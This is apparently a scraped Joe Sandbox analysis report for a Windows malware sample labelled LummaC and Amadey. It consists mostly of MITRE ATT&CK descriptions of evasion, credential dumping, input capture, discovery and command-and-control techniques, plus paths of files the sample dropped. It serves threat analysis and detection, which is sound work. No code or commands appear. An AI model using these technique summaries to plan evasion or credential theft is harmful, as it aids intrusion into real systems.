Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe

Windows Analysis Report
file.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre